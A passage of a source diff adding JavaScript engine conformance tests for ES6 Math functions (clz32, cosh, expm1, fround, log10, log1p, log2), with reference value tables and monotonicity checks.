+assertEq(Math.clz32(true), 31);
+// 3
+assertEq(Math.clz32(3.5), 30);
+// NaN -> 0
+assertEq(Math.clz32({}), 32);
+// 2
+assertEq(Math.clz32({valueOf: function() { return 2; }}), 30);
+// 0 -> 0
+assertEq(Math.clz32([]), 32);
+assertEq(Math.clz32(""), 32);
+// NaN -> 0
+assertEq(Math.clz32([1, 2, 3]), 32);
+assertEq(Math.clz32("bar"), 32);
+// 15
+assertEq(Math.clz32("15"), 28);
+
+
+assertEq(Math.clz32(0x80000000), 0);
+assertEq(Math.clz32(0xF0FF1000), 0);
+assertEq(Math.clz32(0x7F8F0001), 1);
+assertEq(Math.clz32(0x3FFF0100), 2);
+assertEq(Math.clz32(0x1FF50010), 3);
+assertEq(Math.clz32(0x00800000), 8);
+assertEq(Math.clz32(0x00400000), 9);
+assertEq(Math.clz32(0x00008000), 16);
+assertEq(Math.clz32(0x00004000), 17);
+assertEq(Math.clz32(0x00000080), 24);
+assertEq(Math.clz32(0x00000040), 25);
+assertEq(Math.clz32(0x00000001), 31);
+assertEq(Math.clz32(0), 32);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Math/cosh-approx.js b/js/src/tests/ecma_6/Math/cosh-approx.js
new file mode 100644
index 000000000..d724aa294
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/cosh-approx.js
@@ -0,0 +1,276 @@
+assertEq(Math.cosh(1000), Infinity);
+assertEq(Math.cosh(Number.MAX_VALUE), Infinity);
+assertNear(Math.cosh(1e-30), 1);
+assertNear(Math.cosh(1e-10), 1);
+
+var cosh_data = [
+ [0.0016914556651292944, 1.0000014305114746],
+ [0.001953124689559275, 1.0000019073486328],
+ [0.003782208044661295, 1.000007152557373],
+ [0.005258943946801101, 1.000013828277588],
+ [0.005859366618129203, 1.0000171661376953],
+ [0.010961831992188852, 1.0000600814819336],
+ [0.015285472131830425, 1.0001168251037598],
+ [0.017249319093529877, 1.0001487731933594],
+ [0.028218171738655373, 1.0003981590270996],
+ [0.03573281468231457, 1.000638484954834],
+ [0.046287402472878776, 1.0010714530944824],
+ [0.07771996527168971, 1.0030217170715332],
+ [0.0998975930860278, 1.0049939155578613],
+ [0.13615938768032465, 1.0092840194702148],
+ [0.21942279004958354, 1.024169921875],
+ [0.3511165938166055, 1.0622773170471191],
+ [0.48975026711288183, 1.1223440170288086],
+ [0.692556883708491, 1.2495574951171875],
+ [0.954530572221414, 1.4912219047546387],
+ [1.307581416910453, 1.983847141265869],
+ [1.4035188779741334, 2.1576128005981445],
+ [1.5250070845427517, 2.406397819519043],
+ [1.8905372013072799, 3.386958122253418],
+ [2.1735673399948254, 4.451677322387695],
+ [2.625091127868242, 6.939132690429686],
+ [2.737434918695162, 7.756023406982421],
+ [2.8740317167801948, 8.88236999511719],
+ [2.97998639328949, 9.869171142578123],
+ [3.516549380542481, 16.848876953125],
+ [3.51867003468025, 16.884582519531254],
+ [3.593185165198829, 18.18859100341797],
+ [3.6273672142963385, 18.82012176513672],
+ [3.646553244410946, 19.184181213378906],
+ [3.872413451393967, 24.03952026367187],
+ [3.972085568933329, 26.556991577148434],
+ [4.022209178119238, 27.921104431152337],
+ [4.168428891496629, 32.31466674804686],
+ [4.240546229861005, 34.730087280273445],
+ [4.290698214968891, 36.51556396484376],
+ [4.352722738491574, 38.851287841796875],
+ [4.594386162629449, 49.46875],
+ [4.598500387004538, 49.67265319824219],
+ [4.7152173401856095, 55.821014404296896],
+ [4.73822104001982, 57.119781494140604],
+ [4.793733825338029, 60.37983703613279],
+ [4.8435923769530165, 63.46618652343747],
+ [4.849190310904695, 63.82241821289062],
+ [4.85767897228448, 64.36642456054685],
+ [4.880061548144127, 65.82318115234375],
+ [4.921430721025434, 68.60302734374997],
+ [4.94406835208057, 70.17358398437497],
+ [4.967000841791218, 71.80126953124997],
+ [5.016014824864732, 75.40786743164065],
+ [5.017205657609766, 75.49771118164062],
+ [5.0506448716550825, 78.06475830078126],
+ [5.0707363201405276, 79.64892578125],
+ [5.073517411135063, 79.87072753906253],
+ [5.101574796209937, 82.14324951171874],
+ [5.152357710985635, 86.4221496582031],
+ [5.167705692500117, 87.75869750976562],
+ [5.2390637098028074, 94.24942016601562],
+ [5.247023676519904, 95.00259399414062],
+ [5.258134994273664, 96.06402587890626],
+ [5.289261389093961, 99.10101318359374],
+ [5.345425863147171, 104.82595825195315],
+ [5.3555664787245885, 105.89431762695308],
+ [5.363617180711895, 106.750244140625],
+ [5.388152468690488, 109.40167236328122],
+ [5.405320225963013, 111.2959899902344],
+ [5.417698597745429, 112.68215942382815],
+ [5.445406415908933, 115.8478698730469],
+ [5.501396249028249, 122.51895141601562],
+ [5.531718947357248, 126.29083251953128],
+ [5.544277233951787, 127.88677978515626],
+ [5.547444176085567, 128.29241943359372],
+ [5.556786759298988, 129.49658203125006],
+ [5.625710723366437, 138.7365112304687],
+ [5.628934733085022, 139.18450927734378],
+ [5.634566685055491, 139.97058105468747],
+ [5.660401141376928, 143.63366699218747],
+ [5.698541939965668, 149.21765136718753],
+ [5.7078698961812995, 150.6160278320313],
+ [5.714741890601693, 151.6546020507813],
+ [5.735111323217677, 154.77532958984378],
+ [5.761781191641161, 158.95861816406253],
+ [5.763503378028959, 159.23260498046878],
+ [5.810483079631769, 166.89166259765622],
+ [5.824362807770767, 169.22418212890625],
+ [5.833939098607025, 170.85247802734372],
+ [5.861586030831371, 175.64184570312503],
+ [5.866335876872544, 176.47808837890625],
+ [5.869449614294116, 177.02844238281247],
+ [5.879497954012966, 178.81622314453122],
+ [5.893213844044451, 181.28570556640625],
+ [5.944588630523773, 190.84246826171866],
+ [5.947493525920713, 191.39764404296875],
+ [5.962341215900494, 194.26062011718753],
+ [5.9656082276276, 194.89630126953122],
+ [5.9749284849312865, 196.7212524414062],
+ [5.975165500176202, 196.76788330078128],
+ [5.981706804024238, 198.05920410156241],
+ [5.991310884439669, 199.9705200195312],
+ [6.004868209578554, 202.70001220703122],
+ [6.0159406892865155, 204.95684814453116],
+ [6.025476453825986, 206.92059326171866],
+ [6.047172064627678, 211.45886230468741],
+ [6.0479418642231595, 211.62170410156256],
+ [6.050479329955437, 212.1593627929687],
+ [6.086466833749719, 219.93341064453125],
+ [6.101870903204913, 223.3474731445312],
+ [6.1249427443985525, 228.56036376953128],
+ [6.129204755426344, 229.53656005859375],
+ [6.136241935513706, 231.1575317382813],
+ [6.153688953514383, 235.22589111328134],
+ [6.1619244798633215, 237.17108154296884],
+ [6.165012268502458, 237.90454101562506],
+ [6.187036941752032, 243.202392578125],
+ [6.191527178125454, 244.29687500000003],
+ [6.196001570568187, 245.3923950195312],
+ [6.197677082130341, 245.80389404296875],
+ [6.2133379061260285, 249.68365478515622],
+ [6.223871642756905, 252.3276367187501],
+ [6.228398760115369, 253.47253417968756],
+ [6.269692237869835, 264.1583251953126],
+ [6.276143287577458, 265.8679199218749],
+ [6.305884283737176, 273.89379882812494],
+ [6.306492908028797, 274.0605468750001],
+ [6.3065018163217115, 274.06298828125006],
+ [6.31104892482331, 275.3120117187501],
+ [6.3322712125431915, 281.2171630859374],
+ [6.343324976847916, 284.34289550781244],
+ [6.345081883725142, 284.84289550781256],
+ [6.353683609448096, 287.30358886718756],
+ [6.366114643735997, 290.8973388671876],
+ [6.373476431987165, 293.0467529296875],
+ [6.3734826803404045, 293.04858398437494],
+ [6.3862671775996915, 296.819091796875],
+ [6.389086936901673, 297.6572265625],
+ [6.424562459508495, 308.4062500000001],
+ [6.4506171773701535, 316.5472412109376],
+ [6.462221144761522, 320.24182128906256],
+ [6.468740575092418, 322.33642578125],
+ [6.472375224718483, 323.5101318359374],
+ [6.485834999462654, 327.8939208984375],
+ [6.486412623146554, 328.08337402343744],
+ [6.486812521370483, 328.214599609375],
+ [6.498698952535687, 332.1391601562501],
+ [6.521175044233963, 339.6888427734376],
+ [6.522595306993373, 340.171630859375],
+ [6.522766822935215, 340.2299804687499],
+ [6.52502285413445, 340.99841308593744],
+ [6.5445411825986985, 347.7194824218749],
+ [6.5451209675856825, 347.9211425781249],
+ [6.55061885367159, 349.8392333984375],
+ [6.560126626713879, 353.1812744140626],
+ [6.560510895819139, 353.31701660156244],
+ [6.565186990039135, 354.97302246093756],
+ [6.567067660815945, 355.64123535156233],
+ [6.588081320423386, 363.19360351562517],
+ [6.5896131163651415, 363.7503662109376],
+ [6.597598047275183, 366.66650390624983],
+ [6.608222493065004, 370.5828857421874],
+ [6.611563301604297, 371.822998046875],
+ [6.622421213257873, 375.88220214843756],
+ [6.625684248051368, 377.11071777343744],
+ [6.626950731244344, 377.58862304687483],
+ [6.630267034079059, 378.8428955078124],
+ [6.630977920761718, 379.11230468749994],
+ [6.636217452968849, 381.10388183593756],
+ [6.638857149899159, 382.1112060546874],
+ [6.641161660644278, 382.9927978515625],
+ [6.652047018118426, 387.1845703124999],
+ [6.658445560711748, 389.66992187499994],
+ [6.658790721334144, 389.8044433593749],
+ [6.675345858154136, 396.3114013671875],
+ [6.677094789236718, 397.00512695312494],
+ [6.6775691166680895, 397.1934814453124],
+ [6.679106750673113, 397.80468749999994],
+ [6.681712590609845, 398.84265136718744],
+ [6.682523938576487, 399.16638183593744],
+ [6.68274532345516, 399.2547607421874],
+ [6.685459416477178, 400.3398437499999],
+ [6.694456277839498, 403.9578857421875],
+ [6.6952522228540765, 404.27954101562517],
+ [6.6971746771142415, 405.05749511718744],
+ [6.702764738337774, 407.328125],
+ [6.7033022311799595, 407.54711914062506],
+ [6.710763953621196, 410.59948730468756],
+ [6.711256159037373, 410.8016357421876],
+ [6.712054288828399, 411.12963867187494],
+ [6.713939407502346, 411.9053955078124],
+ [6.722828986708716, 415.5833740234374],
+ [6.727835453862132, 417.66918945312506],
+ [6.734632628835641, 420.51782226562506],
+ [6.743787740494532, 424.38537597656233],
+ [6.744565219553757, 424.71545410156244],
+ [6.7715720212680655, 436.3419189453125],
+ [6.776510146304201, 438.50195312500017],
+ [6.778412462065226, 439.33691406250017],
+ [6.79247934060035, 445.5606689453126],
+ [6.809016260337229, 452.9901123046875],
+ [6.810747231716348, 453.7749023437499],
+ [6.817335895109251, 456.7745361328125],
+ [6.819910421197311, 457.9520263671875],
+ [6.821497844004013, 458.6795654296874],
+ [6.8254946428721475, 460.51647949218767],
+ [6.828433164406687, 461.87170410156256],
+ [6.834543470287694, 464.70251464843756],
+ [6.839609377592375, 467.06262207031267],
+ [6.839627933844213, 467.0712890625001],
+ [6.846084943645239, 470.09692382812494],
+ [6.856799276049143, 475.16076660156233],
+ [6.861822721577315, 477.5537109374998],
+ [6.864066049482581, 478.62622070312517],
+ [6.864420497333681, 478.79589843750017],
+ [6.866278653973069, 479.68640136718733],
+ [6.866487814627139, 479.7867431640625],
+ [6.8667493311188395, 479.9122314453126],
+ [6.872084270243208, 482.4793701171875],
+ [6.872164723177875, 482.5181884765627],
+ [6.874982560453874, 483.87976074218767],
+ [6.876191234145179, 484.46496582031233],
+ [6.877966548833207, 485.3258056640624],
+ [6.888721726428236, 490.57373046875006],
+ [6.89515989558997, 493.74230957031244],
+ [6.896232568812718, 494.2722167968751],
+ [6.900624415355815, 496.44775390624983],
+ [6.901816998553275, 497.0401611328125],
+ [6.9042162822876465, 498.23413085937483],
+ [7.193052598670793, 665.0791015625001],
+ [7.758155143419732, 1170.29150390625],
+ [8.323023697145112, 2058.795898437501],
+ [9.36298131161099, 5824.533203125004],
+ [9.810748008110926, 9114.308593750004],
+ [11.047341056314202, 31388.40624999998],
+ [11.584925435512535, 53732.765624999956],
+ [12.366958539207397, 117455.0937500001],
+ [13.107089828327874, 246210.62499999983],
+ [13.84248373881162, 513670.1250000003],
+ [14.27084873575108, 788353.2499999999],
+ [15.060339852215408, 1736170.999999999],
+ [15.835873313657556, 3770530.0000000005],
+ [15.977474039173265, 4344089.999999998],
+ [16.943967899150145, 11419360.000000006],
+ [17.943394339560967, 31023239.99999997],
+ [18.214035936745432, 40665424.00000006],
+ [19.374560581709215, 129788063.99999991],
+ [19.927723623778547, 225668224.00000027],
+ [20.619308638400597, 450631936.0000006],
+ [21.129986093026698, 750941952.0000008],
+ [22.05159150215413, 1887358976.0000033],
+ [22.734966842639743, 3738011648.0000052],
+ [23.42954051928097, 7486695423.99999],
+ [23.955498471391667, 12668080127.99998],
+ [24.591055724582848, 23918272512],
+ [25.305424481799395, 48862560256.00005],
+ [26.150535181949436, 113763549183.99998],
+ [26.499894449532565, 161334755328.00018],
+ [27.19075733422632, 321933279232.0004],
+ [27.989721778208146, 715734122496],
+ [28.953212876533797, 1875817529343.9976],
+];
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.cosh(x), y);
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.cosh(i), (Math.exp(i) + Math.exp(-i)) / 2);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/cosh-exact.js b/js/src/tests/ecma_6/Math/cosh-exact.js
new file mode 100644
index 000000000..a302776c4
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/cosh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cosh(NaN), NaN);
+
+// If x is +0, the result is 1.
+assertEq(Math.cosh(+0), 1);
+
+// If x is −0, the result is 1.
+assertEq(Math.cosh(-0), 1);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cosh(Infinity), Infinity);
+
+// If x is −∞, the result is +∞.
+assertEq(Math.cosh(-Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/expm1-approx.js b/js/src/tests/ecma_6/Math/expm1-approx.js
new file mode 100644
index 000000000..397ab97eb
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/expm1-approx.js
@@ -0,0 +1,62 @@
+assertNear(Math.expm1(1e-300), 1e-300);
+assertNear(Math.expm1(1e-100), 1e-100);
+assertNear(Math.expm1(1e-14), 1.000000000000005e-14);
+assertNear(Math.expm1(1e-6), 0.0000010000005000001665);
+
+var expm1_data = [
+ [ -1.875817529344e-70, -1.875817529344e-70 ],
+ [ -7.09962844069878e-15, -7.099628440698755e-15 ],
+ [ -2.114990849122478e-10, -2.1149908488988187e-10 ],
+ [ -0.0000031404608812881633, -0.000003140455950046052 ],
+
+ [ -0.0000011039855962733358, -0.0000011039849868814618 ],
+ [ -0.000015114666893502755, -0.0000151145526675006 ],
+ [ -0.000033870281179478836, -0.000033869707587981166 ],
+ [ -0.00043952149320897676, -0.00043942491778698985 ],
+ [ -0.005553725496786973, -0.005538332073473123 ],
+ [ -0.05122020579778827, -0.049930563302241604 ],
+ [ -0.4721357117742938, -0.3763311320344197 ],
+ [ -1.2781607348262256, -0.7214508446489242 ],
+
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698805e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628427884e-12 ],
+ [ 2.114990849122478e-10, 2.1149908493461373e-10 ],
+ [ 1.6900931765206906e-8, 1.6900931908027652e-8 ],
+ [ 0.0000031404608812881633, 0.0000031404658125405988 ],
+
+ [ 0.0000011039855962733358, 0.0000011039862056656584 ],
+ [ 0.000015114666893502755, 0.000015114781120655907 ],
+ [ 0.000033870281179478836, 0.00003387085478392845 ],
+ [ 0.00043952149320897676, 0.0004396180969330924 ],
+ [ 0.005553725496786973, 0.005569176019645543 ],
+ [ 0.05122020579778827, 0.05255464640120383 ],
+ [ 0.4721357117742938, 0.6034149712523235 ],
+ [ 1.2781607348262256, 2.590030631181154 ],
+
+ [ 3.0693960800487883, 20.528897017773147 ],
+ [ 5.560441648750136, 258.9376120972927 ],
+ [ 7.4227656046482595, 1672.6557833191303 ],
+ [ 11.378926299184645, 87458.07941992789 ],
+];
+
+for (var [x, y] of expm1_data)
+ assertNear(Math.expm1(x), y);
+
+var sloppy_tolerance = 34;
+
+var expm1_data_sloppy = [
+ [ 20.11881628179155, 546375092.2355127 ],
+ [ 33.45034324980283, 336743709091858.2 ],
+ [ 46.43974518513109, 147409364838076710000 ],
+ [ 54.60105936314322, 5.163435870507142e+23 ],
+ [ 84.29619209850242, 4.067907545704549e+36 ],
+ [ 125.38131800315817, 2.8340959047812913e+54 ],
+ [ 216.85489905212918, 1.5096839294759775e+94 ],
+];
+
+for (var [x, y] of expm1_data_sloppy)
+ assertNear(Math.expm1(x), y, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/expm1-exact.js b/js/src/tests/ecma_6/Math/expm1-exact.js
new file mode 100644
index 000000000..57b94ed22
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/expm1-exact.js
@@ -0,0 +1,20 @@
+// Properties of Math.expm1 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.expm1(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.expm1(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.expm1(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.expm1(Infinity), Infinity);
+
+// If x is −∞, the result is -1.
+assertEq(Math.expm1(-Infinity), -1);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/ecma_6/Math/expm1-monotonicity.js b/js/src/tests/ecma_6/Math/expm1-monotonicity.js
new file mode 100644
index 000000000..2ae25708d
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/expm1-monotonicity.js
@@ -0,0 +1,94 @@
+var BUGNUMBER = 897634;
+var summary = "expm1 should be monotonically increasing";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(x, prev, next) {
+ assertEq(Math.expm1(prev) <= Math.expm1(x), true);
+ assertEq(Math.expm1(x) <= Math.expm1(next), true);
+}
+
+// Thresholds in fdlibm expm1 implementation.
+
+// |hx| == 0x40862E42 or not
+test(-709.7822265625, -709.7822265625001, -709.7822265624999);
+test(709.7822265625, 709.7822265624999, 709.7822265625001);
+
+// |hx| == 0x4043687A or not
+test(-38.81622314453125, -38.81622314453126, -38.81622314453124);
+test(38.81622314453125, 38.81622314453124, 38.81622314453126);
+
+// |hx| == 0x7ff00000 or not
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+// |hx| == 0x3fd62e42 or not
+test(-0.3465733528137207, -0.34657335281372076, -0.34657335281372065);
+test(0.3465733528137207, 0.34657335281372065, 0.34657335281372076);
+
+// |hx| == 0x3FF0A2B2 or not
+test(-1.0397205352783203, -1.0397205352783205, -1.03972053527832);
+test(1.0397205352783203, 1.03972053527832, 1.0397205352783205);
+
+// |hx| == 0x3c900000 or not
+test(-5.551115123125783e-17, -5.551115123125784e-17, -5.551115123125782e-17);
+test(5.551115123125783e-17, 5.551115123125782e-17, 5.551115123125784e-17);
+
+// x < -0.25 or not
+test(-0.25, -0.25000000000000006, -0.24999999999999997);
+
+// k == -1 or k == -2
+test(-1.0397207708399179, -1.039720770839918, -1.0397207708399177);
+
+// k == -1 or k == 0
+test(-0.3465735912322998, -0.34657359123229986, -0.34657359123229975);
+
+// k == 0 or k == 1
+test(0.3465735912322998, 0.34657359123229975, 0.34657359123229986);
+
+// k == 1 or k == 2
+test(1.039720770839918, 1.0397207708399179, 1.0397207708399183);
+
+// k == 19 or k == 20
+test(13.516370020918933, 13.51637002091893, 13.516370020918934);
+
+// k == 56 or k == 57
+test(39.16281570163691, 39.1628157016369, 39.162815701636916);
+
+// k == 1023 or k == 1024
+test(709.436139303104, 709.4361393031039, 709.4361393031041);
+
+// k == 1024 or more
+test(709.7827128933841, 709.782712893384, 709.7827128933842);
+
+// Some more random cases.
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(-1e+223, -1.0000000000000002e+223, -9.999999999999999e+222);
+test(-1e+100, -1.0000000000000002e+100, -9.999999999999998e+99);
+test(-10000000000, -10000000000.000002, -9999999999.999998);
+test(-100000, -100000.00000000001, -99999.99999999999);
+test(-100, -100.00000000000001, -99.99999999999999);
+test(-10, -10.000000000000002, -9.999999999999998);
+test(-1, -1, -0.9999999999999999);
+test(-0.01, -0.010000000000000002, -0.009999999999999998);
+test(-0.00001, -0.000010000000000000003, -0.000009999999999999999);
+test(-1e-10, -1.0000000000000002e-10, -9.999999999999999e-11);
+test(-1e-100, -1.0000000000000001e-100, -9.999999999999999e-101);
+test(-5e-324, -1e-323, 0);
+test(0, -5e-324, 5e-324);
+test(5e-324, 0, 1e-323);
+test(1e-100, 9.999999999999999e-101, 1.0000000000000001e-100);
+test(1e-10, 9.999999999999999e-11, 1.0000000000000002e-10);
+test(0.00001, 0.000009999999999999999, 0.000010000000000000003);
+test(0.01, 0.009999999999999998, 0.010000000000000002);
+test(1, 0.9999999999999999, 1);
+test(10, 9.999999999999998, 10.000000000000002);
+test(100, 99.99999999999999, 100.00000000000001);
+test(100000, 99999.99999999999, 100000.00000000001);
+test(10000000000, 9999999999.999998, 10000000000.000002);
+test(1e+100, 9.999999999999998e+99, 1.0000000000000002e+100);
+test(1e+223, 9.999999999999999e+222, 1.0000000000000002e+223);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Math/fround.js b/js/src/tests/ecma_6/Math/fround.js
new file mode 100644
index 000000000..353f798d5
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/fround.js
@@ -0,0 +1,81 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Some tests regarding conversion to Float32
+assertEq(Math.fround(), NaN);
+
+// Special values
+assertEq(Math.fround(NaN), NaN);
+assertEq(Math.fround(-Infinity), -Infinity);
+assertEq(Math.fround(Infinity), Infinity);
+assertEq(Math.fround(-0), -0);
+assertEq(Math.fround(+0), +0);
+
+// Polyfill function for Float32 conversion
+var toFloat32 = (function() {
+ var f32 = new Float32Array(1);
+ function f(x) {
+ f32[0] = x;
+ return f32[0];
+ }
+ return f;
+})();
+
+// A test on a certain range of numbers, including big numbers, so that
+// we get a loss in precision for some of them.
+for (var i = 0; i < 64; ++i) {
+ var p = Math.pow(2, i) + 1;
+ assertEq(Math.fround(p), toFloat32(p));
+ assertEq(Math.fround(-p), toFloat32(-p));
+}
+
+/********************************************
+/* Tests on maximal Float32 / Double values *
+/*******************************************/
+function maxValue(exponentWidth, significandWidth) {
+ var n = 0;
+ var maxExp = Math.pow(2, exponentWidth - 1) - 1;
+ for (var i = significandWidth; i >= 0; i--)
+ n += Math.pow(2, maxExp - i);
+ return n;
+}
+
+var DBL_MAX = maxValue(11, 52);
+assertEq(DBL_MAX, Number.MAX_VALUE); // sanity check
+
+// Finite as a double, too big for a float
+assertEq(Math.fround(DBL_MAX), Infinity);
+
+var FLT_MAX = maxValue(8, 23);
+assertEq(Math.fround(FLT_MAX), FLT_MAX);
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 2)), FLT_MAX); // round-nearest rounds down to FLT_MAX
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 1)), Infinity); // no longer rounds down to FLT_MAX
+
+/*********************************************************
+/******* Tests on denormalizations and roundings *********
+/********************************************************/
+
+function minValue(exponentWidth, significandWidth) {
+ return Math.pow(2, -(Math.pow(2, exponentWidth - 1) - 2) - significandWidth);
+}
+
+var DBL_MIN = Math.pow(2, -1074);
+assertEq(DBL_MIN, Number.MIN_VALUE); // sanity check
+
+// Too small for a float
+assertEq(Math.fround(DBL_MIN), 0);
+
+var FLT_MIN = minValue(8, 23);
+assertEq(Math.fround(FLT_MIN), FLT_MIN);
+
+assertEq(Math.fround(FLT_MIN / 2), 0); // halfway, round-nearest rounds down to 0 (even)
+assertEq(Math.fround(FLT_MIN / 2 + Math.pow(2, -202)), FLT_MIN); // first double > FLT_MIN / 2, rounds up to FLT_MIN
+
+assertEq(Math.fround(-FLT_MIN), -FLT_MIN);
+
+assertEq(Math.fround(-FLT_MIN / 2), -0); // halfway, round-nearest rounds up to -0 (even)
+assertEq(Math.fround(-FLT_MIN / 2 - Math.pow(2, -202)), -FLT_MIN); // first double < -FLT_MIN / 2, rounds down to -FLT_MIN
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/log10-approx.js b/js/src/tests/ecma_6/Math/log10-approx.js
new file mode 100644
index 000000000..048944851
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log10-approx.js
@@ -0,0 +1,9 @@
+assertNear(Math.log10(2), 0.3010299956639812);
+assertNear(Math.log10(7), 0.8450980400142568);
+assertNear(Math.log10(Math.E), Math.LOG10E);
+
+for (var i = -10; i < 10; i++)
+ assertNear(Math.log10(Math.pow(10, i)), i);
+
+reportCompare(0, 0, 'ok');
+
diff --git a/js/src/tests/ecma_6/Math/log10-exact.js b/js/src/tests/ecma_6/Math/log10-exact.js
new file mode 100644
index 000000000..0c125306b
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log10-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log10 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log10(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log10(-1e-10), NaN);
+assertEq(Math.log10(-1e-5), NaN);
+assertEq(Math.log10(-1e-1), NaN);
+assertEq(Math.log10(-Number.MIN_VALUE), NaN);
+assertEq(Math.log10(-Number.MAX_VALUE), NaN);
+assertEq(Math.log10(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log10(i), NaN);
+
+// If x is +0, the result is −∞.
+assertEq(Math.log10(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log10(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log10(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log10(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Math/log1p-approx.js b/js/src/tests/ecma_6/Math/log1p-approx.js
new file mode 100644
index 000000000..f1d120af6
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log1p-approx.js
@@ -0,0 +1,20 @@
+assertNear(Math.log1p(1e-300), 1e-300);
+assertNear(Math.log1p(1e-15), 9.999999999999995e-16);
+assertNear(Math.log1p(1e-6), 9.999995000003334e-7);
+
+var log1p_data = [
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698755e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628409192e-12 ],
+ [ 2.114990849122478e-10, 2.1149908488988187e-10 ],
+ [ 1.6900931765206906e-8, 1.690093162238616e-8 ],
+ [ 0.0000709962844069878, 0.00007099376429006658 ],
+ [ 0.0016793412882520897, 0.00167793277137076 ],
+ [ 0.011404608812881634, 0.011340066517988035 ],
+];
+
+for (var [x, y] of log1p_data)
+ assertNear(Math.log1p(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/log1p-exact.js b/js/src/tests/ecma_6/Math/log1p-exact.js
new file mode 100644
index 000000000..bec11b659
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log1p-exact.js
@@ -0,0 +1,29 @@
+// Properties of Math.log1p that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log1p(NaN), NaN);
+
+// If x is less than -1, the result is NaN.
+assertEq(Math.log1p(-1 - 1e-10), NaN);
+assertEq(Math.log1p(-1 - 1e-5), NaN);
+assertEq(Math.log1p(-1 - 1e-1), NaN);
+assertEq(Math.log1p(-ONE_PLUS_EPSILON), NaN);
+
+for (var i = -2; i > -20; i--)
+ assertEq(Math.log1p(i), NaN);
+
+// If x is -1, the result is -∞.
+assertEq(Math.log1p(-1), -Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.log1p(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.log1p(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log1p(Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/ecma_6/Math/log2-approx.js b/js/src/tests/ecma_6/Math/log2-approx.js
new file mode 100644
index 000000000..954f4c1cf
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log2-approx.js
@@ -0,0 +1,8 @@
+for (var i = -1074; i < 1023; i++)
+ assertNear(Math.log2(Math.pow(2, i)), i);
+
+assertNear(Math.log2(5), 2.321928094887362);
+assertNear(Math.log2(7), 2.807354922057604);
+assertNear(Math.log2(Math.E), Math.LOG2E);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/log2-exact.js b/js/src/tests/ecma_6/Math/log2-exact.js
new file mode 100644
index 000000000..160034ddb
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/log2-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log2 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log2(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log2(-1e-10), NaN);
+assertEq(Math.log2(-1e-5), NaN);
+assertEq(Math.log2(-1e-1), NaN);
+assertEq(Math.log2(-Number.MIN_VALUE), NaN);
+assertEq(Math.log2(-Number.MAX_VALUE), NaN);
+assertEq(Math.log2(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log2(i), NaN);
+
